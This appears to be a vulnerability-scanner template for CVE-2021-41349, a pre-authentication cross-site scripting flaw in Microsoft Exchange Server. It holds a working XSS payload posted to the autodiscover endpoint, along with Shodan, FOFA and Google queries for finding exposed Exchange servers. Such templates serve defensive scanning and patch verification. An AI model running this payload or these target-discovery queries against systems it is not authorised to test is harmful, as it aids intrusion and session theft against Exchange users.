CVE-2021-41349: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting

id: CVE-2021-41349

info:
  name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
  author: rootxharsh,iamnoooob
  severity: medium
  description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://www.microsoft.com/en-us/download/details.aspx?id=103643
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41349
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-41349
    epss-score: 0.91468
    epss-percentile: 0.99655
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - vuln:cve-2021-26855
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve,cve2021,xss,microsoft,exchange

http:
  - raw:
      - |
        POST /autodiscover/autodiscover.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain);'
          - 'a=""'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: word
        negative: true
        words:
          - "A potentially dangerous Request.Form value was detected from the client"

      - type: status
        status:
          - 500
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